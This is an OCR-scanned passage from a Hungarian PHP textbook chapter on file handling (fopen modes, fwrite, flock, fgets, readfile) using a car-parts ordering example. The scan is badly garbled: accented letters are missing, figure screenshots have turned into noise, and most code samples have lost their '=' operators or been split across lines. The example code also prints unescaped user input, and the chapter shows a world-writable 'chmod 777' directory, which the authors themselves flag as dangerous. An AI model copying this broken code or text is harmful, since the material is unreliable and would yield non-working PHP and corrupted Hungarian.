A fjlok PHP-beli megnyitshoz az fo pen ( ) fggvnyt hasznljuk. Amikor megnyirunk egy llomnyt, meg kell hatroz
nunk, hogy miknt kivnjuk hasznlni. Ezt a megnyitsi

md segtsgvel tehetjk meg.

megfelel megnyitsi md kivlasztsa

A szerver opercis rendszernek tisztban kell lennie azzal, hogy mit szerernnk tenni az ppen megnyrni kivnt fjllal.
Tudnia kell, hogy amg ltalunk meg van nyitva az llomny, ms kd egyltaln megnyithatja-e, illetve hogy mi (vagy a kd
tulajdonosa) rendelkeznk-e egyltaln jogosultsggal a kivnt mdon hasznlni a fjlt. A megnyitsi mdok lnyegben olyan
mechanizmust adnak az opercis rendszernek, amivel meg tudjk hatrozni, miknt kezelje a ms felhasznlktl vagy k
doktl rkez hozzfrsi krseket, s mdszert knlnak annak ellenrzsre, hogy van-e hozzfrsnk s jogosultsgunk az
adott fjlhoz.
Fjl megnyitsakor hrom dntst kell hoznunk:
l. A fjlt megnyithatjuk csak olvassra, csak rsra, vagy rsra s olvassra is.
2. Amikor fjlba runk, fellrhatjuk a meglv fjl jelenlegi tarcalmt, vagy j adatokat fzhetnk a vghez. Ltez fjl ese

tn fellrs helyerr azt is megcehetjk, hogy jelezzk a felhasznlnak a fjl megltt, majd a fjl mdostsa nlkl kilpnk
a programbl.
3. Amennyiben a binris s szveges fjlokat megklnbztet rendszeren prblunk meg fjlba rni, azt is meg kell hatroz

nunk, hogy binrisknt vagy szvegesknt akarjuk-e kezelni a fjlt.


Az fopen ( ) fggvny e hrom lehetsg tetszleges kombincijt tmogatja.

Adatok trolsa s visszakeresse

41

Fjl megnyitsa az; fopen ( ) fggvnnyel


Tegyk fel, hogy megrendelst szeretnnk rni Bob rendelseket eltrol llomnyba! A kvetkezkkel tudjuk megnyieni
a

fjlt rsra:

$fp

fopen ("$DOCUMENT_ROOT/../rendelesek/rendelesek. txt",

'w');

Az fopen ( ) fggvny meghvsakor kett, hrom vagy ngy paramtert vr. ltalban kettt lthatunk, mint a fenti kd
sorban is.
Az els paramter a megnyitni kivnt fjl legyen! Megadhatjuk elrsi tvonalt, mint ebben a pldban is; jelen esetben
a r endele sek.

txt fjl a rendelesek mappban tallhat. A $ _ SERVER [ 'DOCUMENT_ROOT' l

beptett PHP vlto-

zt hasznltuk, de akrcsak az rlapvltozk krlmnyes teljes neveinl, rvidebb nevet rendeltnk hozz.
Ez a vltoz a webszerver dokumentumfjnak tetejre mutat. A kdsor a .. karakterekkel..a dokumentum gykrknyvtr
nak szlknyvtrra" utal. Ez a knyvtr biztonsgi okokbl a dokumentumfn kivl helyezkedik el. Jelen esetben nem szeret
nnk, hogy ez a fjl- az ltalunk ksztend internetes felletet leszmtva- interneten keresztl elrhet legyen. Ezt az elr
si tvonalat relatv elrsi tvonalnak nevezzk, mert a dokumentumgykrhez viszonytva mucat a f;ijlrendszer adott helyre.
A krcsak az rlapvltozkhoz rendelt rvidebb nevek esetn, most is az albbi sort kell a kd elejn szerepeltetnnk ahhoz,
hogy tmsoljuk vele a hossz stlus vltoz tartalmt a rvidebb nevbe:
$DOCUMENT_ROOT

$_SERVER['DOCUMENT_ROOT'];

Ahogy az rlapadatok elrsnek is tbb mdja lehetsges, az elre definilt szervervltozkat is klnbzkppen rhetjk
el. Kiszolglnk belltstl fggen (a rszleteket lsd az l. fejezetben)a kvetkezkkel jutharunk a dokumenrumgykrhez:
$_SERVER['DOCUMENT_ROOT']
$DOCUMENT_ROOT
$HTTP_SERVER_VARS['DOCUMENT_ROOT']

Az rlapadatokhoz hasonlan itt is az els stlus ajnlott.


A fjlokhoz abszolt elrsi tvonalat is megadhatunk. Ez a gykrknyvtrbl (Unix-rendszeren l, windowsos rendszeren
lcalban C:\) indul elrsi tvonal. Unixos szervernkn ez az tvonal valami ilyesmi lenne: /home/book/rendelesek.
Ezzel a megkzeltssel az a gond, hogy - klnsen akkor, ha nem sajt kiszolglnkon troljuk oldalunkar- az abszolt
elrsi tvonal mdosulhat. A szerzk mr megfizettk a tanulpnzt, mert egyszer a rendszergazdk rtests nlkl megvl
toztattk a knyvtrstrukrrt, s ezrt knyeelek voltunk a teljes kdban mdostani az abszolt elrsi tvonalakat.
Ha nincsen elrsi tvonal meghatrozva, a fjl abban a knyvrrban jn ltre, vagy ott fogja az opercis rendszer keresni,
ahol a kd maga tallhat. A hasznlt knyvtr eltr lesz, ha valamilyen CGI wrapperen (rtelmezn)keresztl futtaguk
a

PHP-t, s fgg a szerverbellrsoktl is.


Unixos krnyezetben hagyomnyos perjeleker (/)hasznlunk az elrsi tvonalakban. Windowsos platform esern ha

gyomnyos (/)s fordrott perjeleker ( \) is alkalmazhatunk. Az utbbi esern klnleges karakterknt kell jellnnk ket az
fopen () fggvny szmra, hogy megfelelen rtelmezze azokat. Vdkarakrerknr egyszeren egy msik fordtorr perjelet

kell eljk rnunk, mint az albbi pldban:


$fp

fopen("$DOCUMENT ROOT\\..\\rendelesek\\rendelesek.txt",

'w');

Nagyon kevesen hasznlnak fordtott perjeleket a PHP-beli elrsi tvonalakban, mert az azt eredmnyezi, hogy a kd csak
windowsos krnyezetben fog mkdni. Hagyomnyos perjelek alkalmazsa esern minden mdosrs nlkl hasznlharjuk
a kdot

windowsos s unixos gpekeil is.

Az fopen () msodik paramtere a megnyirsi md, amelynek karakterlncnak kell lenni. Ez hatrozza meg, hogy rnir sze
reennk tenni a fjllal. Jelen esetben a

'w'

paramtert adjuk az f o p e n () fggvnynek, ez azt jelenti, hogy ..a fjl megnyitsa

rsra:' A megnyitsi mdok sszefoglalsr a 2.1 tblzarban talljuk.

2.1 tblzat A:; fopen ( )

fiiggvny megnyitsi mdjainak ss:;efoglalsa


Jelentse

Md

Mdneve

Olvass (Read)

Fjl megnyitsa olvassra a fjl elejn kezdve.

r+

Olvass (Read)

Fjl megnyitsa olvassra s rsra a fjl elejn kezdve.

rs (Wrire)

Fjl megnyitsa rsra a fjl elejn kezdve. Ltez fjl esern trli a meglv
tartalmat. Ha a fjl nem ltezik, megprblja ltrehozni.

w+

rs (Write)

Fjl megnyitsa rsra s olvassra a fjl elejn kezdve. Ltez fjl esern trli
a meglv tartalmat. Ha a fjl nem ltezik, megprblja ltrehozni.

varos rs (Cautious write)

Fjl megnyitsa rsra a fjl elejn kezdve. Ltez f;ijl esern nem nyitja meg
azt, az fopen() false rtkkel tr vissza, a PHP pedig figyelmeztetst generl.

42

2. fejezet

Md

Mdneve

x+

vacos rs (Cautious wrice)

Jelentse
Fjl megnyitsa rsra s olvassra a fjl elejn kezdve. Ltez fjl esetn nem
nyitja meg azt, az fopen() false rtkkel tr vissza, a PHP pedig figyelmezce
tse generl.

Hozzfilzs (Append)

Fjl megnyitsa csak hozzfilzsre (rsra) a meglv tartalom vgnl kezd


ve. Ha a fjl nem ltezik, megprblja ltrehozni.

a+

Hozzfilzs (Append)

Fjl megnyitsa hozzfilzsre (rsra) s olvassra a meglv tartalom vgnl


kezdve - amennyiben van tartalom. Ha a fjl nem ltezik, megprblja ltre
hozni.

Binris (Binary)

A tbbi mdokkal egytt hasznlhat. Akkor vlasztjuk ezt a mdot,


ha a fjlrendszernk megklnbzteti a binris s a szveges fjlokat.
A windowsos rendszerek gy tesznek, a unixosak nem. A PHP-fejleszrk azt
ajnljk, hogy a maximlis tjrharsg rdekben mindig hasznljuk ezt az
opcir. Ez az alaprtelmezett md.

Szveg (Text)

A tbbi mdokkal egytt hasznlhat. Ez a md csak windowsos rendszere


ken rhet el. Csak abban az esetben ajnlott, ha olyan krnyezetbe visszk
t a kdot, ahol rtelmezett az elbbiekben lert 'b', azaz binris md.

A pldban alkalmazand megnyitsi md attl fgg, hogyan fogjuk a rendszert hasznlni. Mi a

'

'

mdot vlasztottuk,

amely egyetlen megrendels trolst teszi lehetv a fjlban. Minden j megrendels felvtele fellrja az elz rendelst. Mivel
ennek gy nem sok rtelme van, nyilvnvalan jobban jrunk a hozzfilzs (s az ajnlott binris) md kivlasztsval:
$fp

fopen("$DOCUMENT_ROOTI..Irendeleseklrendelesek.txt",

'ab');

Az fopen () fggvny harmadik paramtere opcionlis. Akkor hasznljuk, ha szeretnnk rkeresni a fjl inelude_path
bellrsra (amir a PHP konfigurcii kzrr adhatunk meg; lsd Fggelk: A PHP
a paramtert l-re! Ha utastjuk a PHP-r, hogy keressen r az

include_path -ra,

s a MySQL teleptse!). Ehhez lltsuk ezt

akkor meg kell adnunk egy knyvtrnevet

vagy elrsi tvonalat:


$fp

fopen('rendelesek.txt',

A negyedik paramter is opcionlis. Az

'ab',

true);

fopen ( )

fggvny lehetv teszi, hogy a fjlnevek el eltagknt protokollt he

lyezznk (pldul h ttp: ll) , s tvoli helyen nyissuk meg az llomnyokat. Egyes protokollok egy tovbbi paramtert is
megengednek. m mindez a szerverbellrsokrl fgg, s szigor rendszerzemeltets mellett szmolnunk kell az
HTTP-s mkdsnek riltsval. Az

fopen

fopen

()

() fggvny ilyen hasznlatr a fejezer kvetkez rszben tekintjk t.

Amennyiben az fopen () sikeresen megnyitja a f;ijlr, a fggvny visszarrsi rtke egy fjlerforrs, ami lnyegben fjlazo
nosr, amivel a fjira hivatkozunk. A fjlerforrsr vltozban troljuk - ez jelen esetben a $ fp. Ezt a vltozr hasznlva rjk
el a fjlt, amikor tnylegesen olvasni akarjuk, vagy rni szeretnnk bele.

Fjlok megnyitsa FTPn vagy HTTPn keresztl


Az fopen () fggvnnyel a helyi llomnyok olvassra s rsra val megnyitsn tlmenen FTP-n, HTTP-n vagy ms

protokollon keresztl is megnyithatunk fjlokat. A

ph p.ini

fjl allow_url_fopen belltst kikapcsolva kiiktarhatjuk

ennek lehersgt. Ha problmink jelentkeznek a tvoli fjlok

f open

() fggvnnyel trtn megnyitsakor, ellenrizzk

a ph p.ini llomnyt!
Ha a hasznlt fjlnv

ftp: ll -vel

kezddik, passzv tviteli md FTP kapcsolat nylik az ltalunk megadott fjlhoz, s

a fggvny a fjl elejre murar fjlazonosrval rr vissza.


Amennyiben a f;ijlnv h ttp : ll -vel kezddik, HTTP kapcsolat nylik a megadott szerverhez, a fggvny pedig a vlaszra
mutar fjlmutarval tr vissza. Amikor a HTTP mdot a PHP rgebbi verziival hasznljuk, meg kell adnunk a knyvtrne
vek utni perjelet is, minr az albbi pldban:
hrtp://www.pelda.com/
nem pedig
http://www.pelda.com.
Amikor utbbi formj (perjel nlkli) cmer adunk meg, a webszerver ltalban HTTP tirnytssal az els, vagyis a per
jelet tartalmaz cmre kld bennnket. Prbljuk ki ezt bngsznkben l
Ne feledjk, hogy az URL-ben a domainnevek nem tesznek klnbsger a kis- s nagyberk kztt, m az elrsi tvonalak
s fjlnevek igen!

Adatok trolsa s visszakeresse

43

Fjlmegnyitsi problmk kezelse


Az egyik hiba, amit knnyen elkvethetnk, ha olyan fjlt prblunk meg megnyitni, amihez nem rendelkeznk olvassi vagy
rsi jogosultsggal. (Ez a hiba a Unix-szer opercis rendszerek esetben gyakran elfordul, m alkalmanknt Windows alatt
is tallkozhatunk vele). Amikor gy tesznk, a PHP a 2.2 brn lthat figyelmeztetshez hasonlt ad.


(>11

.......

_,...

-18''i2

Bob autalkatrszek

Rendelsi eredmlnyek
a-.....11.39,141li120\0

Raodtll......:kd<...-...,U
,_

4!1obm..a.j

$264.00

Sdoo:Nou-..Jll
w..,__..._oors.qWed..,_
--s.. ....... &..co..y ia
....
_.._.

-...
.....-,........

2.2 bra:

A PHP figyelmeztetssei jelzi, amikor a fjlt nem lehet megnyitni.

Ilyen hiba esetn meg kell bizonyosodnunk arrl, hogy a kdot futtat felhasznl rendelkezik-e hozzfrsi jogosultsggal
az

ltalunk hasznlni kvnt fjlhoz. A kiszolgl belltstl fggen a kd futhat a webszerver felhasznljaknt vagy azon

knyvtr rulajdonosaknt, amelyben tallhat.


Legtbb rendszeren a kd a webszerver hasznljaknt fut. Amennyiben kdunk Unix-rendszeren mondjuk a -/public_
html/02 _fejezet/ knyvtrban tallhat, akkor a kvetkezkppen hozhatunk ltre brki ltal rhat knyvtrat a meg

rendelsek trolsra:
mkdir -/rendelesek
chrnod 777

-/rendelesek

Egy pillanatra sem szabad elfelejteni, hogy az olyan knyvtrak s fjlok, amelyekbe brki rhat, igen veszlyesek lehetnek.
A kzvedenl az internetrl elrhet knyvtraknak nem szabad rhatknak lennik. A rendelesek knyvtrunk pontosan
ezrt kt alknyvtrral feljebb, a pub li c_html felett helyezkedik el. A biztonsggal rszletesebben foglalkozunk majd a 15.
fejezetben (Az e-kereskedelem

biztonsgi krdsei).

A rossz jogosultsgi bellts taln a leggyakrabban elkvetett, m messze nem az egyeden fjlmegnyitsi hiba. Ha nem rud
juk megnyitni a fjlt, fontos, hogy tisztban legynk ezzel, s ne prbljunk meg adatokat olvasni belle vagy rni bele!
Amennyiben az fopen () fggvnnyel vgzett megnyitsi ksrlet sikertelen, a fggvny false rtkkel tr vissza. A hibt
sokkal inkbb felhasznlbart mdon kezdhetjk, ha elnyomjuk a PHP hibazenetet, s a sajrunkat hasznljuk:
@ $fp

fopen("$DOCUMENT_ROOT/ ../rendelesek/rendelesek.txt",

'ab');

(1$fp) {

if

echo "<p><strong> Megredelst jelen pillanatban nem tudtuk feldolgozni. "


Krjk,

prblkezzon ks6bb!</strong></p></body></html>";

exit;

Az fopen () meghvsa eltti @ szimblum utastja a PHP-t, hogy elnyomja a fggvnyhvsbl ered hibkat. lta
lban hasznos rudomst szerezni arrl, ha a dolgok nem megfelelen mkdnek, m jelen esetben mshol fogjuk kezelni
a problmt.
A kvetkezkppen is rhatjuk ezt a sort:
$fp

@fopen("$DOCUMENT_ROOT/../rendelesek/rendelesek. txt",

'a');

Ezzel a mdszerrel taln kevsb nyilvnval, hogy hibaelnyom mveleti jelet hasznlunk, gy kiss megneheztheti k
dunkban a hibakeresst.
Az itt bemutatott mdszer a hibakezels tlzottan leegyszerstett mdja. Elegnsabb mdszervel a

Hiba- s kivtelkezels

cm 7. fejezetben tallkozhatunk, m halaeljunk szpen sorjban!


Az if utasts ellenrzi az $fp vltozt, hogy lssuk, az fopen fggvny rvnyes fjlmutatval trt-e vissza; ha nem,
hibazenetet r k, s befejezi a kd futtatst. Mivel az oldal itt vget r, lthatjuk, hogy lezrruk a HTML cmkket (tag),
hogy rvnyes HTML kdot kapjunk.
A fenti megkzelts ltal adott kimenetet a 2.3 brn ltjuk.

44

2. fejezet

l}c:_
t4f

tll'

... .......

'

_,... r,..-

!.:::.-.-- -_,._

;o: '1::1.

Bob autalkatrszek
Rodtlsi uedmbyek

..-..-12
,__.

........

a.....s....oo

..-Nocrwalll

2
2.3 bra: A

PHP hibazenete helyett sajtunkat hasznlva Jelhasznlbart visszajelzst adhatunk.

Fjlba rs
A fjlba rs viszonylag egyszer PHP-ben. Az fwrite() (file write) vagy az fputs () (file put string) fggvnyt hasznlhat
juk erre; az fputs () az fwrite () fggvny lneve (aliasa). Az fwrite () hvsa a kvetkezkppen trtnik:
fwrite($fp,

$kimeneti_sztring);

A fggvny kzli a PHP-vel, hogy rja a $kimeneti_sztring vltozban trolt karakterlncot az $fp ltal mutatort
fjlba.
Az fwrite( ) lehetsges alternatvja a file _put_contents () fggvny. Ennek a kvetkez a protorpusa:
int file_put contents ( string fajlnev,
string adat

[,

int flags

[,

resource contextlll

Ez a fggvny az fopen () (vagy felcse ()) meghvsa nlkl rja az adat vltozban trolt karakterlncot a fajlnev
nev fjlba. A fggvny a PHPS jdonsga s a file_get_contents() fggvny prja. Ez utbbi fggvnyt is rvidesen be
mutatjuk. A flags s a context nem ktelez paramtert leginkbb akkor hasznljuk, amikor tvoli fjlokba runk pldul
HTTP vagy FTP segtsgveL (E fggvnyeket a

Az f w r i t e (

Hlzati s protokol!fggvnyek hasznlata cm 20. fejezetben trgyaljuk ,!lieg.)

) fiiggvny paramterei

Az fwrite () fggvny hrom paramtert fogad, m ezek kzl a harmadik nem ktelez. A fggvny prototpusa a kvetkez:
int fwrite ( resource eroforras_valtozo,

string string

[,

int hossz])

A harmadik paramter, a hossz az rni kvnt bjtok maximlis szma. Ha megadjuk ezt a paramtert, az fwrite() fgg
vny addig rja a string karakterlncot az ero forras_valtoz o ltal mutatort fjlba, amg el nem ri a string vgt
vagy a hossz mennyisg bjtot.
Egy karakterlnc hosszt a strlen () beptert PHP fggvnnyel derthetjk ki, mgpedig a kvetkezkppen:
fwrite($fp,

$kimenetl_sztring,

strlen($kimeneti sztrlng));

A harmadik paramtert akkor rdemes hasznlni, amikor binris mdban runk, mivel segt elkerlni a platformok kzrti
kompatibilits problmit.

Fjlformtumok
Arnikor a pldban szerepl adatfjlhoz hasonlt hozunk ltre, teljes mrtkben a sajt dnts nk, hogy milyen formtumban
troljuk az adatokat. (Ha azonban ms alkalmazsban kszlnk hasznlni az adatfjlt, annak szablyait is figyelembe kell
vennnk.)
Most pedig hozzunk ltre egy karakterlncot, amely az adatfjl egy rekordjt jelkpezi! A kvetkezkppen tehetjk ezt meg:
$kimeneti sztring

$datum."\t".$abroncs_db." gumiabroncs \t".$olaj_db." olaj\t"


.$abroncs db." gyjtgyertya\t\$".$osszmennyiseg
."\t". $szallitasi_cim."\n";

Ezen egyszer plda esetben a rendelsi rekordokat a fjl kln soraiban troljuk. A rekordokat soronknt rva egyszeren
addik rekordelvlasztnak az jsor karakter. Mivel ezek lthatatlanok, a "\n" vezrl szekvencival jelkpezzk ket.

Adatok trolsa s visszakeresse

45

Az egsz knyvben vgig ugyangy rjuk az adatmezket, s tabultor karakterrel vlasztjuk el ket egymstl. Mivel a ta
bultor karakter szimn lthatatlan, a "\t" vezrl szekvencival jelljk. Brmilyen rtelmes elvlasztt alkalmazhatunk,
csak legyen knnyen olvashat!
Az elvlaszt vagy hatrol karakter csak olyan lehet, ami a bevitt adatok kztt egyltaln nem fordul el. Ellenkez eset
ben fel kell dolgozni a bevitt adatokat, s el kell tvoltani bellk az elvlaszt minden elfordulst. A bemeneti adatok fel
dolgozsval a Karakterlncok kezelse s regulris kifejezsek cm 4. leckben foglalkozunk majd. Egyelre elg azt felttelezni,
hogy senki nem fog tabultort letni a rendelsi rlapon. Bonyolult ugyan, de nem lehetetlen, hogy a felhasznl tabultort
vagy j sort szr egy egysoros HTML bemeneti mezbe.
Klnleges mezelvlaszt hasznlatval egyszeren kln vltozkba bonthatjuk az adatokat, amikor visszaolvassuk ket.
A harmadik (Tmbk hasznlata) s a negyedik fejezetben trgyaljuk ezt a tmt. Itt azonban minden megrendelst egyetlen
karakterlncknt kezelnk.
Nhny megrendels feldolgozsa utn a fjl tartalma a 2.1 pldakdban lthathoz kell, hogy hasonltson.
2.1 pldakd: rendelesek. txt
20:30,

-Plda a

rendelesek. txtfjl

lehetsges tartalmra

31st March 2008 4 gumiabroncs l olaj 6 gyjtgyertya $434.00 22 Short St,

Smalltown
20:42,

31st March 2008 l gumiabroncs O olaj O gyjtgyertya $100.00 33 Main Rd,

Newtown
20:43,

31st March 2008 O gumiabroncs l olaj 4 gyjtgyertya $26.00 127 Acacia St,

Springfield

Fjl bezrsa
Ha befejeztk a fjlon vgzett munkt, be kell zrni. Az fclose () fggvny albbi hasznlatval tehetjk ezt meg:
fclose($fp);

A fjl sikeres bezrsa esetn a fggvny true, azaz igaz rtkkel tr vissza, ellenkez esetben hamissal (false). Ez a fo
lyamat a megnyitsnl sokkal kisebb valsznsggel vlt ki brmilyen problmt, ezrt jelen esetben gy dntnk, hogy nem
ellenrizzk.
A 2.2 pldakd mutatja a rendeles_ feldolgozasa. ph p ksz vltozatnak teljes kdjt.
2.2 pldakd: rendeles feldolgozasa. php-A
_

megrendelseket feldolgoz kd vgleges vltozata

<?php
ll rvid vltoznevek ltrehozsa
$abroncs db = S_POST['abroncs_db'];
Solaj_db

$gyertya_db

$ POST['olaj
=

$szallitasi_cim
$DOCUMENT_ROOT
$datum

db'];

$ POST['gyertya_db'];
=

$ _POST['szallitasi eim'];
$ SERVER['DOCUMENT_ROOT'];

date('H:i,

jS

Y');

?>
<html>
<head>
<title>Bob autalkatrszek - Rendelsi eredmnyek<ltitle>
<lhead>
<body>
<hl>Bob autalkatrszek</hl>
<h2>Rendelsi eredmnyek</h2>
<?php
echo "<p>Rendels feldolgozsnak id6pontja:

".date('H:i,

jS

Y') ."</p>";

46

2. fejezet

echo "<p>Rendelse az albbi:

</p>";

$osszmennyiseg = 0;
$osszmennyiseg

$abroncs db

if ($osszmennyiseg == 0)

$olaj db

echo "Rendelt termkek szma:

$gyertya_db;

".$osszmennyiseg."<br />";

echo "Egyetlen ttelt sem rendelt az elz oldalon1<br />";

else

if ($abroncs_db > 0)
echo $abroncs db." gumiabroncs<br />";

if ($olaj_db > 0)
echo $olaj_db." flakon olaj<br />";

if ($gyertya_db > 0)
echo $gyertya_db." gyjtgyertyacbr />";

$vegosszeg

0.00;

define( 'ABRONCSAR',
define('OLAJAR',

define('GYERTYAAR' ,

$vegosszeg

100);

10);
4) ;

$abroncs_db

$olaj db

$gyertya_db

ABRONCSAR

OLAJAR
*

GYERTYAAR;

$vegosszeg=number format($vegosszeg,

echo "<p>A rendels vgsszege:

2,

$".$vegosszeg."</p>";

echo "<p>Szllitsi cim:".$szallitasi_cim."</p>";

$kimeneti sztring

$datum."\t".$abroncs db." gum1abroncs \t".$olaj_db." olaj\t"


.$gyertya_db." gyjtgyertya\t\$".$vegosszeg
."\t". $szallitasi cim."\n";

ll fjl megnyitsa hozzirsra


@$fp

fopen("$DOCUMENT ROOT/.. /rendelesek/rendelesek.txt",

flock($fp,

'ab');

LOCK_EX);

if (!$fp)
echo "<p><strong> Megrendelst jelen pillanatban nem tudtuk feldolgozni.
Krjk,
exit;

prblkezzon ksbb!</strong></p></body></html>";

Adatok trolsa s visszakeresse

fwrite($fp,
flock($fp,

$kimeneti_sztring,

47

strlen($k1menet1_sztring));

LOCK_UN);

fclose ($fp);

echo "<p>Rendels

rgzitve.</p>";

?>
</body>

2
Olvass fjlbl
Egyelre ott tartunk, hogy Bob vevi megrendelseker adhatnak az interneten, de ha Bob alkalmazottai szerernk megnzni
a rendelseket, sajt maguknak kell a fjlokat megnyitni uk.
Ksztsnk egy olyan webes felletet, amelyen keresztl Bob alkalmazottai egyszeren elolvashatjk a fjlokat! Az ezt a fel
leret ltrehoz kdot a 2.3 pldakd mutatja.
2.3 pldakd: rendelesek_megtekintese. ph p- Kezelfellet az alkalmazottak szmra a megrendelseket tartalmaz fjlhoz
<?php
//rvid vltoznevek ltrehozsa
$DOCUMENT_ROOT

$_SERVER['DOCUMENT_ROOT'];

?>
<html>
<he ad>
<title>Bob autalkatrszek -

Megrendelsek</title>

</head>
<body>
<hl>Bob autalkatrszek</hl>
<h2>Megrendelsek</h2>
<?php

@$fp

fopen("$DOCUMENT_ROOT/../rendelesek/rendelesek. txt",

if (!$fp)

'rb');

echo "<p><strong>Nincsen fgg megrendels.


Krjk,

prblkezzon ks6bb!</strong></p>";

exit;

while (! feof($fp))

$megrendeles= fgets($fp,

999);

echo $megrendeles."<br />";

?>
</body>

Ez a kd is a korbban bemutatott sorrendet kveti: megnyirja a fjlt, olvas belle, majd bezrja. A 2.1 pldakdban szerepl
adatfjl hasznlata esetn a kd kimenere megegyezik a 2.4 brn lthatvaL

48

2. fejezet

Bob autalkatrszek
i\Jegnodelkek
:G".)O,ll"'-do"lt.IM4_.._.1 .. 6.,.._So&l400l:SIIai.So.,
tl.lllol.do:XIO ... OSI000033W..It4.
)Ul.llw.diO....I
..,.._.. .e.j'S!dOOI:1Aucio$t. .......

kd megjelenti bngszben
a rendelesek. txt fjlban lev aktulis megrendelseket.

2.4 bra: A rendelesek_megtekintese. ph p

Vizsgljuk meg rszletesen a kdban szerepl fggvnyeket!

Fjl megnyitsa olvassra: fopen ()


A f:ijlc megint csak az fopen () fggvnnyel nyitjuk meg. Jelen esetben csak olvassra nyitjuk meg az llomnyt, gy az 'rb'
megnyitsi mdoc hasznljuk:
$fp

fopen("$DOCUMENT_ROOT/.. /rendelesek/rendelesek.txt",

'rb');

Ahol meg kell llnunk: feof ( )


A pldban while ciklussal olvassuk be az adatokat mindaddig, amg el nem rjk a vgt. A ciklus az feof ( ) fggvnnyel
keresi a fjl vgt:
while (!feof($fp))

Az feof () fggvny egyeelen paramcere a fjlmucac. Visszatrsi rtke true, amikor a fjlmutat a fjl vghez r. Br
a fggvny neve kicsic furcsnak tnhet, taln knnyebben megjegyezhet, ha tudjuk, hogy az angol File End Of File szavak
kezdbetibl addik.
Ebben az eseeben (illetve ltalnossgban, amikor fjlbl olvasunk), az EOF (end of fjl, azaz fjl vge) elrsig olvasunk a f:ijlbl.

Beolvass soronknt: fgets () , fgetss () s fgetcsv ( )


A pldban az fgets () fggvnnyel olvasunk a fjlbl:
Smegrendeles= fgets($fp,

999);

Ez a fggvny egyszerre egy sort olvas be a fjlbLJelen eseeben addig olvas, amg jsor karakterrel ( \n) nem tallkozik, el
nem ri a fjl vgt, vagy a fjlbl beolvasott adat mennyisge el nem ri a 998 bjcoc. A maximlis beolvasott mennyisg a meg
hatrozott rtk mnusz l bjt .
Sok ms fggvnye is hasznlhatunk fjlbl olvassra. Az fgets () fggvny pldul akkor hasznos, amikor egyszer szve
gec tartalmaz fjlokkal dolgozunk, s a szvegec darabonknt kvnjuk kezelni.
Az fgets () rdekes vltozata az fgetss () fggvny, aminek az albbi a prototpusa:
string fgetss(resource fp,

int hossz,

string

[megengedett_cimkek]);

A fggvny az fgets ()-hez hasonl azzal a klnbsggel, hogy a szvegben tallc minden PHP s HTML cmkt kiszed.
Ha valamilyen konkrt cmkt meg szeretnnk tartani, akkor a megengedett_ eimkek karakterlncban kell megadnunk
azt. Akkor rdemes hasznlni, ha msvalaki ltal rt vagy felhasznli bevitele tartalmaz fjlt olvasunk be. A fjlban lv, nem
korltozott HMTL kd megzavarhatja a gondosan eltervezett formzsunkac. PHP kd korldan hasznlata esetn a rosszin
dulat felhasznl majdnem celjes mrtkben rveheti az irnytst kiszolglnk felett.
Az fgetcsv () fggvny az fgets () egy msik vltozata. Prototpusa a kvetkez:
array fgetcsv ( resource fp,
[,

int hossz

[,

string hatarolo

string mezohatarolo]])

Ez a fggvnyhatrol karakter pldul a korbban ajnlott tabultor vagy - tblzatkezel s egyb alkalmazsok ltal
gyakran hasznlt- vessz alkalmazsa esetn szcbontja a fjl sorait. Amennyiben kln-kln szeretnnk a megrendelsben
szerepl vltozkat rekonstrulni, az fgetcsv( ) fggvnnyel egyszeren megtehetjk. Az fgets ()-hez hasonlan kell meg
hvni, de t kell adni neki a mezk elvlasztsra hasznlc hatrolc. Pldul:
Smegrendeles

fgetcsv($fp,

100,

"\t");

Ez a kd lekr egy sort a fjlbl, majd ahol tabultort (\t) tall, felbontja azt. Az eredmnyeket tmbben adja vissza (ami
nek pldnkban Smegrendeles a neve). A tmbket a 3. fejezeeben fogjuk rszleeesen megtrgyalni.

Adatok trolsa s visszakeresse

49

A hossz paramternek nagyobbnak kell lennie, mint a beolvasni kvnt fjlban lv leghosszabb sor karakterszma.
A mezohatarolo paramter hatrozza meg a sorban lv mezket hatrol karaktert.Amennyiben nem adjuk meg. alap
rtelmezsben a "-t {ketts idzjelet) hasznlja.

A teljes fjl beolvassa: readfile () , fpassthru () s file ()


A soronknti beolvass helyett egyszerre is beolvashatjuk a teljes fjlt. Ngyflekppen tehetjk meg ezt.
Az els lehetsg a readfile () fggvny hasznlata. A korbban rt szinte teljes kdot lecserlhetjk egyeden sorra:

readfile( "$DOCUMENT _ROOTl..lrendeleseklrendelesek. txt") ;

A readfile() hvsa megnyitja az llomnyt, megjelenti rartalmt a szabvnyos kimeneten {a bngszben), majd bezrja
a fjlt. A readfile () fggvny prototpusa:
int readfile(string fajlneve,

[int use include_path

[,

resource kezelesi_mod]] );

Az opcionlis msodik paramter azt hatrozza meg. hogy a PHP-nek a php.ini include_path paramterben meg
hatrozott knyvtrban kell-e keresnie a fjlokar, s ugyangy mkdik, rnint az fopen ().A szintn opcionlis kezelesi_
mod paramtert csak akkor kell megadni, amikor tvolrl, pldul HTTP-n keresztl nyitjuk meg a fjlokat; az ilyen jelleg
hasznlatot a 20. fejezetben mutatjuk be rszletesen. A fggvny visszatrsi rtke a fjlbl beolvasott bjtok teljes szma.
A teljes fjl beolvassnak msodik mdszere az fpassthru() fggvny meghvsa. Ehhez elszr az fopen () fggvny
nyel meg kell nyimi a fjlt. Ezt kveten a fjlmutatt tadjuk paramterknt az fpassthru () fggvnynek, amely a szabv
nyos kimenetre kldi a fjlnak a mutat utni tartalmr. Ha vgzett, bezrja a fjlt.
Az elz kd helyett az albbit is hasznlhatjuk:
$fp = fopen("$DOCUMENT_ROOT/ ..lrendeleseklrendelesek. txt",

'rb');

fpassthru($fp);

Az fpassthru() fggvny visszatrsi rtke sikeres beolvass esetn igaz, msklnben hamis.
A harmadik lehetsg a file() fggvny hasznlata. Ez a readfile () fggvnyhez hasonl, m a fjl szabvnyos kimene
ten val megjelenrse helyett tmbb alaktja azt. Mkdst rszletesebben megvizsgljuk majd a tmbkkel foglalkoz 3.
fejezetben. A teljessg kedvrt nzzk, hogyan hvnnk meg:
$filearray = file ($DOCUMENT_ROOT/ ..lrendeleseklrendelesek. txt");

Ez a kd a filearray nev tmbbe olvassa be a teljes llomnyt, amelynek rninden sora a tmb egy-egy elemben troldik
el. rdemes tudni, hogy a fggvny a PHP korbbi verziiban binris adatokat nem tudott kezelni {nem volt,.binary safe").
A negyedik mdszer a file _get_ conten ts () fggvny hasznlata. Ez annyiban tr el a readfile () fggvnytl, hogy
a bngszben val megjelents helyett karakterlncknt adja vissza a fjl tartalmr.

Karakter beolvassa: fgetc ()


